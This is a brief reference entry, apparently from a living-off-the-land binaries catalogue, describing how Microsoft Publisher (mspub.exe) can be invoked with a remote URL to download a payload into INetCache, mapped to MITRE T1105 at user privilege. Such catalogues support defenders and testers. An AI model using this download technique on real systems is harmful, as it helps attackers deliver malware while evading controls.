Mspub.exe

Microsoft Publisher

Download

It will download a remote payload and place it in INetCache.

mspub.exe {REMOTEURL}

Downloads payload from remote server — MITRE: T1105 — Privileges: User